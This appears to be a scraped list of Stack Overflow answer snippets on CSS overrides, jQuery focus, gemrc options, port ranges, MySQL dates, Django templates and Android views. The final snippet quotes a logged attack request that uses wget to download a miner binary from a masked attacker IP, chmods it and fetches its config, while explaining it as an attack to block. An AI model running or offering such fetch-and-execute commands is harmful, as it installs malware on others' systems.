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How can I override Bootstrap CSS styles?
... to understand to know exactly which style rules will apply to an element.
http://css-tricks.com/specifics-on-css-specificity/
Everything else is just a matter of copy/paste and edit styles.
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How to Set Focus on Input Field using JQuery
... but text cursor does not appear in the field (jquery 3.1.0).
Inspired by https://www.sitepoint.com/jqueryhtml5-input-focus-cursor-positions/ , I added autofocus attribute to the input field and voila!
function addfield() {
n=$('table tr').length;
$('table').append('<tr><td><...
Using --no-rdoc and --no-ri with bundler
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See https://stackoverflow.com/a/7662245/109618 for a better ~/.gemrc:
install: --no-rdoc --no-ri
update: --no-rdoc --no-ri
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What is the largest TCP/IP network port number allowable for IPv4?
...e divided into:
Well-known ports: 0 to 1023 (used for system services e.g. HTTP, FTP, SSH, DHCP ...)
Registered/user ports: 1024 to 49151 (you can use it for your server, but be careful some famous applications: like Microsoft SQL Server database management system (MSSQL) server or Apache Derby Netw...
JSP : JSTL's tag
...eUploader: {
brandingHtml: "Powered by \u003ca href=\"https://imgur.com/\"\u003e\u003csvg class=\"svg-icon\" width=\"50\" height=\"18\" viewBox=\"0 0 50 18\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cpath d=\"M46.1709 9.17788C46.1709 8.26454 46.2665 7.94324 4...
Difference between two dates in MySQL
...ours, 60 min, 60 secs (since DATEDIFF returns diff in days). From MySQL:
http://dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html
for example:
mysql> SELECT DATEDIFF('2007-12-31 23:59:59','2007-12-30 00:00:00') * 24*60*60
...
val() vs. text() for textarea
...eUploader: {
brandingHtml: "Powered by \u003ca href=\"https://imgur.com/\"\u003e\u003csvg class=\"svg-icon\" width=\"50\" height=\"18\" viewBox=\"0 0 50 18\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cpath d=\"M46.1709 9.17788C46.1709 8.26454 46.2665 7.94324 4...
How can I check the size of a collection within a Django template?
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See https://docs.djangoproject.com/en/stable/ref/templates/builtins/#if : just use, to reproduce their example:
{% if athlete_list %}
Number of athletes: {{ athlete_list|length }}
{% else %}
No athletes.
{% endif %}
...
Android - get children inside a View?
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You can always access child views via View.findViewById() http://developer.android.com/reference/android/view/View.html#findViewById(int).
For example, within an activity / view:
...
private void init() {
View child1 = findViewById(R.id.child1);
}
...
or if you have a referenc...
What is /dev/null 2>&1?
...mp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as well ...